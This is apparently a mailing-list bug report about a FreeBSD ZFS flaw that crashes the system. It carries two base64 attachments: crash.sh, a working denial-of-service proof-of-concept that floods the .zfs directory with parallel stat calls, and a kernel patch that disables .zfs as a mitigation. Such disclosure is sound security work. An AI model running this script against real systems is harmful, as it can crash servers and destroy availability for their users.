DoS a FreeBSD system which has ZFS filesystems with the attached script. While the script expects a snapshot argument to be given, actually the first test case does not need that, only a mounted zfs filesystem is enough. For more of the tests a snapshot may be needed, and later ones need root account also. I would recommend that until this gets rewritten or fixed at all, one should disable access to .zfs at all with someting like I've attached. Regards, Kojedzinszky Richard --2628712688-1861051549-1389924707=:83798 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=crash.sh Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=crash.sh IyEvYmluL2Jhc2gNCg0Kc25hcHNob3Q9IiQxIg0KaWYgWyAteiAiJHNuYXBz aG90IiBdOyB0aGVuDQoJZWNobyAiRnJlZUJTRC9aRlMgc25hcHNob3QgaGFu ZGxpbmcgYnVnIg0KCWVjaG8gIiINCgllY2hvICJVc2FnZTogJDAgPHpmcyBz bmFwc2hvdD4iDQoJZXhpdCAxDQpmaQ0KDQpzbmFwc2hvdD0iJCh6ZnMgbGlz dCAtdCBzbmFwc2hvdCAtSCAtbyBuYW1lICIkc25hcHNob3QiKSINCmlmIFsg LXogIiRzbmFwc2hvdCIgXTsgdGhlbg0KCWVjaG8gIlNuYXBzaG90IG5vdCBm b3VuZCINCglleGl0IDINCmZpDQoNCmRhdGFzZXQ9IiR7c25hcHNob3QlQCp9 Ig0Kc249IiR7c25hcHNob3QjKkB9Ig0KbW91bnRwb2ludD0kKG1vdW50IHwg Z3JlcCAiXiRkYXRhc2V0W1s6c3BhY2U6XV0iIHwgYXdrICd7cHJpbnQgJDN9 JykNCg0KaWYgWyAhIC1kICIkbW91bnRwb2ludCIgXTsgdGhlbg0KCWVjaG8g IkNvdWxkIG5vdCBkZXRlcm1pbmUgbW91bnQgcG9pbnQgZm9yICRkYXRhc2V0 Ig0KCWV4aXQgMw0KZmkNCg0KZWNobyAiKiogZGF0YXNldD0kZGF0YXNldCBz bmFwbmFtZT0kc24gbW91bnRlZD0kbW91bnRwb2ludCINCg0KY2QgIiRtb3Vu dHBvaW50Ly56ZnMiDQp5ZXMgc25hcHNob3QgfCB4YXJncyBzdGF0ID4gL2Rl di9udWxsICYNCnllcyBzbmFwc2hvdCB8IHhhcmdzIHN0YXQgPiAvZGV2L251 bGwgJg0KDQojY2QgIiRtb3VudHBvaW50Ly56ZnMvc25hcHNob3QiDQojeWVz ICIkc24iIHwgeGFyZ3MgdW1vdW50ID4gL2Rldi9udWxsICYNCiN5ZXMgIiRz biIgfCB4YXJncyB1bW91bnQgPiAvZGV2L251bGwgJg0KI3llcyAiJG1vdW50 cG9pbnQvLnpmcy9zbmFwc2hvdC8kc24iIHwgeGFyZ3MgdW1vdW50ID4gL2Rl di9udWxsICYNCiN5ZXMgIiRtb3VudHBvaW50Ly56ZnMvc25hcHNob3QvJHNu IiB8IHhhcmdzIHVtb3VudCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24iIHwg eGFyZ3Mgc3RhdCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24iIHwgeGFyZ3Mg c3RhdCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24vLi4iIHwgeGFyZ3Mgc3Rh dCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24vLi4iIHwgeGFyZ3Mgc3RhdCA+ IC9kZXYvbnVsbCAmDQojeWVzICIuIiB8IHhhcmdzIGxzIC1sYSA+IC9kZXYv bnVsbCAmDQojeWVzICIuIiB8IHhhcmdzIGxzIC1sYSA+IC9kZXYvbnVsbCAm DQoNCiN5ZXMgIiRzbmFwc2hvdCIgfCB4YXJncyAtbiAxIHpmcyBzZW5kIC1S ID4gL2Rldi9udWxsICYNCg== --2628712688-1861051549-1389924707=:83798 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=no_dot_zfs_at_all.patch Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=no_dot_zfs_at_all.patch ZGlmZiAtLWdpdCBhL3N5cy9jZGRsL2NvbnRyaWIvb3BlbnNvbGFyaXMvdXRz L2NvbW1vbi9mcy96ZnMvemZzX3Zmc29wcy5jIGIvc3lzL2NkZGwvY29udHJp Yi9vcGVuc29sYXJpcy91dHMvY29tbW9uL2ZzL3pmcy96ZnNfdmZzb3BzLmMN CmluZGV4IDhlYjg5NTMuLjI3ZjQyYmQgMTAwNjQ0DQotLS0gYS9zeXMvY2Rk bC9jb250cmliL29wZW5zb2xhcmlzL3V0cy9jb21tb24vZnMvemZzL3pmc192 ZnNvcHMuYw0KKysrIGIvc3lzL2NkZGwvY29udHJpYi9vcGVuc29sYXJpcy91 dHMvY29tbW9uL2ZzL3pmcy96ZnNfdmZzb3BzLmMNCkBAIC0xMjI3LDggKzEy MjcsMTAgQEAgemZzX2RvbW91bnQodmZzX3QgKnZmc3AsIGNoYXIgKm9zbmFt ZSkNCiAJVkVSSUZZKFZGU19ST09UKHZmc3AsIExLX0VYQ0xVU0lWRSwgJnZw KSA9PSAwKTsNCiAJVk9QX1VOTE9DSyh2cCwgMCk7DQogDQorI2lmIDANCiAJ aWYgKCF6ZnN2ZnMtPnpfaXNzbmFwKQ0KIAkJemZzY3RsX2NyZWF0ZSh6ZnN2 ZnMpOw0KKyNlbmRpZg0KIG91dDoNCiAJaWYgKGVycm9yKSB7DQogCQlkbXVf b2Jqc2V0X2Rpc293bih6ZnN2ZnMtPnpfb3MsIHpmc3Zmcyk7DQpAQCAtMTk2 MCw4ICsxOTYyLDEwIEBAIHpmc191bW91bnQodmZzX3QgKnZmc3AsIGludCBm ZmxhZykNCiAJCQkJcmV0dXJuIChFQlVTWSk7DQogCQkJQVNTRVJUKHpmc3Zm cy0+el9jdGxkaXItPnZfY291bnQgPT0gMSk7DQogCQl9DQorI2lmIDANCiAJ CXpmc2N0bF9kZXN0cm95KHpmc3Zmcyk7DQogCQlBU1NFUlQoemZzdmZzLT56 X2N0bGRpciA9PSBOVUxMKTsNCisjZW5kaWYNCiAJfQ0KIA0KIAlpZiAoZmZs YWcgJiBNU19GT1JDRSkgew0KQEAgLTE5ODAsMTAgKzE5ODQsMTIgQEAgemZz X3Vtb3VudCh2ZnNfdCAqdmZzcCwgaW50IGZmbGFnKQ0KIAkgKi8NCiAJcmV0 ID0gdmZsdXNoKHZmc3AsIDEsIChmZmxhZyAmIE1TX0ZPUkNFKSA/IEZPUkNF Q0xPU0UgOiAwLCB0ZCk7DQogCWlmIChyZXQgIT0gMCkgew0KKyNpZiAwDQog CQlpZiAoIXpmc3Zmcy0+el9pc3NuYXApIHsNCiAJCQl6ZnNjdGxfY3JlYXRl KHpmc3Zmcyk7DQogCQkJQVNTRVJUKHpmc3Zmcy0+el9jdGxkaXIgIT0gTlVM TCk7DQogCQl9DQorI2VuZGlmDQogCQlyZXR1cm4gKHJldCk7DQogCX0NCiAN CkBAIC0yMDM0LDggKzIwNDAsMTAgQEAgemZzX3Vtb3VudCh2ZnNfdCAqdmZz cCwgaW50IGZmbGFnKQ0KIAkvKg0KIAkgKiBXZSBjYW4gbm93IHNhZmVseSBk ZXN0cm95IHRoZSAnLnpmcycgZGlyZWN0b3J5IG5vZGUuDQogCSAqLw0KKyNp ZiAwDQogCWlmICh6ZnN2ZnMtPnpfY3RsZGlyICE9IE5VTEwpDQogCQl6ZnNj dGxfZGVzdHJveSh6ZnN2ZnMpOw0KKyNlbmRpZg0KIAlpZiAoemZzdmZzLT56 X2lzc25hcCkgew0KIAkJdm5vZGVfdCAqc3ZwID0gdmZzcC0+bW50X3Zub2Rl Y292ZXJlZDsNCiANCg== --2628712688-1861051549-1389924707=:83798--